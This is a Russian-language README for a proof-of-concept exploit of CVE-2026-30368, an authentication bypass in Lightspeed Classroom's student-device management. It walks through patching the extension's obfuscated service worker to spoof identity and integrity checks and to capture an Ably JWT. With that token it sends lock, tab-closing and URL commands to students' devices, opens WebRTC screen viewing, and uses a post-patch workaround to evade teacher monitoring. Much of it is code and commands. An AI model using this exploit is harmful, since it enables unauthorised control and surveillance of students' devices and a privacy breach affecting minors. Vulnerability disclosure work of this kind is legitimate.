
Эксплойт proof-of-concept для CVE-2026-30368, демонстрирующий обход аутентификации в Lightspeed Classroom для управления устройствами учащихся через канал Ably.
[!IMPORTANT]
Это исправлено, и теперь требуются учётные данные. Используйте обходной путь, чтобы выполнять действия над собой.
CVE-2026-30368 позволяет злоумышленнику управлять устройствами учащихся через слабую аутентификацию в системе управления классом Lightspeed Classroom. POC (poc.js) выполняет service worker из расширения LS Classroom в глобальном контексте. Worker также запускает classroom.wasm для некоторых функций. wasm-loader.js загружает worker и извлекает JWT-токен, сгенерированный classroom.wasm. После его извлечения worker завершается, а токен отправляется в API Lightspeed для получения токена, используемого для подключения к каналу Ably цели. Оттуда злоумышленник может отправить команду на устройство учащегося. Список команд и множество другой информации находится в полном отчёте здесь.
Они не могут находиться в этом репозитории, потому что:
Чтобы избежать проблем, я рекомендую использовать версию 5.1.2.1763770643. Если вам нужна помощь с адаптацией новых версий, вы предоставлены сами себе.
Вы можете получить файлы worker.js и classroom.wasm из исходного кода расширения Lightspeed. Это можно сделать, войдя в свою школьную учётную запись в Chrome на личном устройстве, а затем извлекая исходный код расширения из папки расширений, расположенной в каталоге вашего профиля Chrome. Вы также можете вручную загрузить crx через URL обновления.
Более простой метод эксплуатации — сначала получить classroom.wasm из исходного кода вашего расширения, затем поместить его в тот же каталог, что и wasm-only.js, и запустить:
$ node wasm-only.js
Введите адрес электронной почты и идентификатор клиента (customer ID) при запросе. Это подключится к каналу Ably. Перейдите к строке 815 и раскомментируйте то, что хотите отправить. Автор: ktibow на discord
После получения файлов просто добавьте их в каталог клонированного репозитория. Вам нужно будет зайти в wasm-loader.js в функцию getManifest() и вставить туда манифест вашего расширения. Также вам нужно будет добавить идентификатор расширения в wasm-loader.js вверху.
Сделайте копию worker.js с именем файла на ваше усмотрение. Она понадобится вам позже. Вам нужно будет прогнать worker.js через webcrack, чтобы деобфусцировать и деминифицировать его для выполнения необходимых модификаций. При этом убедитесь, что вы выбрали только опции "Deobfuscate" и "Unminify". Перед вставкой результата обратно в ваш редактор рекомендуется отключить все LSP-серверы, потому что они удаляют случайные переменные и ломают worker на последующих этапах (смотрю на тебя, vtsls...)
Поскольку service worker будет запускаться на node.js (убедитесь, что он у вас установлен), его потребуется немного пропатчить для корректной работы. Также необходимо добавить логику извлечения JWT. Добавьте следующие 2 функции в самом верху worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Они будут использоваться при модификации среды выполнения wasm go для перехвата и изменения значений, используемых LS classroom wasm.
Убедитесь, что вы заменили YOUR_EXTENSION_ID на идентификатор вашего расширения, а worker_copy.js — на имя файла копии исходного worker.js, которую вы сделали ранее.
Затем добавьте эти 2 функции внутри основной стрелочной функции (после (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
Далее вам нужно жёстко задать IsClassroomActive как true, чтобы вы могли выполнять это вне кампусных сетей. Просто измените функцию так, чтобы она всегда возвращала true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Затем найдите syscall/js.valueCall, чтобы найти функцию valueCall, которую нужно модифицировать. Именно она сообщает wasm о значении JS. Два значения, которые перехватываются и изменяются путём модификации этой функции, — это путь к worker.js (он изменяется на копию вашего worker, чтобы проверка хеша прошла) и значение chrome.identity.getProfileUserInfo.toString, которое изменяется на native code, чтобы WASM верил, что ему можно доверять, хотя на самом деле оно было изменено в верхней части файла. Для этого вам нужно использовать функции valueCallBefore и valueCallAfter, которые мы определили вверху. Измените функцию valueCall следующим образом (имена переменных будут различаться, но структура та же):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Почти готово. Наконец, вам нужно добавить код для захвата JWT. Найдите echoMessages: false, и вы найдёте переменную, содержащую список заголовков, отправляемых в Ably. Сразу под ней добавьте эту строку (имена переменных, скорее всего, не будут точными; вы можете найти ту же строку, обращающуюся к ablyJwt в authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Это присваивает JWT переменной в глобальной области видимости, чтобы wasm-loader.js («обвязка», запускающая service worker) мог получить к нему доступ. На этом модификация worker завершена. Убедитесь, что все ваши LSP всё ещё отключены. Если они снова включились, у вас могут возникнуть проблемы с неопределёнными переменными на последующих этапах.
Перейдите к файлу poc.js. Вверху добавьте адрес электронной почты и идентификатор клиента (Customer ID) учётной записи, на которой вы хотите тестировать (желательно вашей собственной). Использование чужого идентификатора клиента вызовет ошибку, поскольку вам нужны правильные файлы worker.js и classroom.wasm, соответствующие этому идентификатору клиента.
Ключ API Ably в poc.js отредактирован по юридическим причинам, поэтому вам придётся найти его самостоятельно. Ищите его в worker.js, он начинается с G52. Ваш идентификатор клиента также можно найти там же: ищите CUSTOMER_ID: или строку в формате: XX-XXXX-XXXX. Последние 3 цифры обычно 000.
Что касается user agent, вы можете установить любой, но AWS может блокировать некоторые UA, связанные с инструментами автоматизации.
После того как вы всё это сделали, перейдите вниз, и вы сможете добавить сообщение для отправки в канал Ably пользователя с помощью publish. Сообщения могут включать lock, closeTab, url и другие.
Полный список сообщений Ably, используемых Lightspeed, находится здесь.
Выполните файл с помощью node.js, deno или другой среды выполнения. Bun не работает.
$ node poc.js
Не стесняйтесь расширять POC и превращать его в CLI или что-то подобное.
Если кому-то интересно, как заставить работать функцию WebRTC (просмотр экранов) Lightspeed Classroom, это возможно, но капризно. Для её работы должны выполняться следующие условия:
Предполагая, что вы уже подключены к каналу Ably клиента, следующее можно использовать для инициации WebRTC-соединения:
channel.publish('request_rtc', {
sessionId: sessId,
role: 'viewer',
want: ['video']
});
// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];
pc.onicecandidate = (event) => {
if (event.candidate?.candidate) {
channel.publish('answer_rtc_ice', {
sessionId: sessId,
ice: event.candidate
});
}
};
channel.subscribe(async (msg) => {
if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
for (const ice of pendingIce) await pc.addIceCandidate(ice);
pendingIce.length = 0;
const answer = await pc.createAnswer();
await pc.setLocalDescription(answer);
channel.publish('answer_rtc', { sessionId: sessId, answer });
}
if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
const ice = msg.data.ice;
if (!ice?.candidate) return;
if (pc.remoteDescription) await pc.addIceCandidate(ice);
else pendingIce.push(ice);
}
});
Вам предстоит самим разобраться, как просматривать видео (любой с базовыми знаниями HTML и небольшим гуглением/ИИ должен справиться), но приведённый выше код устанавливает соединение. К сожалению, поток будет 1 FPS, но это ограничение самого LS Classroom.
Опять же, я не могу гарантировать, что это будет работать всегда, потому что это слишком капризно, но дайте мне знать, если у вас получится заставить это работать стабильно!
Запустите pnpm i, поместите classroom.wasm в корень репозитория, затем запустите pnpm dev, чтобы запустить веб-просмотрщик.
[!IMPORTANT]
ЭТОТ РАЗДЕЛ ТРЕБУЕТ УЧЁТНЫХ ДАННЫХ И ЛИЧНОГО УСТРОЙСТВА
23 апреля Lightspeed начал развёртывание исправления этой CVE. Оно добавило новое расширение, Lightspeed Identity Agent (внутреннее кодовое имя: LS One), которое предоставляет Classroom токен Google OAuth для проверки вашей личности. Обходной путь позволяет выполнять действия над собой или над любым другим человеком, для которого у вас есть учётные данные. Это тестировалось только на Linux.
Сначала установите стабильный Google Chrome и войдите в школьную учётную запись. Убедитесь, что расширение Lightspeed Identity Agent установлено. Закройте Chrome. Затем скопируйте каталог пользовательских данных Chrome во временное место. Например, на Linux: cp -r ~/.config/google-chrome /tmp/chromedata. Поместите ваш файл classroom.wasm в каталог репозитория. Заполните значения вверху oauth-poc.js. Откройте терминал (он понадобится вам позже, но откройте его сейчас). Перезапустите Chrome со следующими флагами командной строки:
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata
Это включит удалённую отладку. Подождите 15 секунд, пока service worker инициализируется. Выполните oauth-poc.js:
$ node oauth-poc.js
Если вы получили сообщение о том, что расширение LS One не найдено, вы либо не подождали 15 секунд после запуска Chrome, либо ждали слишком долго и service worker перешёл в спящий режим, либо не заполнили идентификатор расширения вверху oauth-poc.js.
Если вы получили ошибку 403 при подключении к Ably, проверьте, что у вас правильный classroom.wasm, правильный адрес электронной почты, и попробуйте перейти на школьный IP.
Если ошибок не было — поздравляю! Просто оставьте скрипт запущенным, и вы будете защищены от блокировки учителями, закрытия вкладок и просмотра экрана (экспериментально).
Пожалуйста, не используйте этот POC в деструктивных целях. Я не несу ответственности за любые озорные действия, которые вы можете совершить. Как вы, возможно, знаете, Lightspeed спал над этим 3 месяца, и я не особо ожидаю исправления раньше, чем через неделю (или больше?...). Надеюсь, это заставит их понять реальную серьёзность ситуации и исправить её быстрее. Наконец, если вы случайно школьный IT-специалист, отправьте это своему начальству 🙂
♥️, truekas 4.22.2026